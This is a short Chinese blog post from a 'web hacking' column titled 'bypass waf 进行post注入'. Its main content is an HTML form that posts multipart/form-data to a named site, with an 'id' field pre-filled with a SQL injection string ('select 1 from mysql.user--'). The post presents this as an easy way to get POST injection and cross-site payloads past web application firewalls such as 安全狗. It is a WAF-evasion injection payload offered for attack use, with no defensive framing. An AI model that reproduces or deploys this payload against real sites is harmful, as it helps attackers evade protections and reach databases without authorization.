bypass waf 进行post注入

最新推荐文章于 2023-09-23 10:12:55 发布

eT48_Sec

最新推荐文章于 2023-09-23 10:12:55 发布

阅读量695

点赞数

分类专栏： web hacking

web hacking 专栏收录该内容

15 篇文章

订阅专栏

原标题：轻松绕各种WAF的POST注入、跨站防御(比如安全狗)

<!DOCTYPE html>     
<html>     
<head>     
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />     
<title>轻松绕各种WAF的POST注入、跨站防御(比如安全狗)</title>     
</head>     
<body>     
    <form action="http://www.8090sec.com/index.php" method="POST" enctype="multipart/form-data">     
        File:<input type="file" name="file" /><br/>     
        ID:<input type="text" name="id" value="select 1 from mysql.user--" style="width:250px;" / ><br/>     
        <input type="submit" value="提交" />     
    </form>     
</body>     
</html>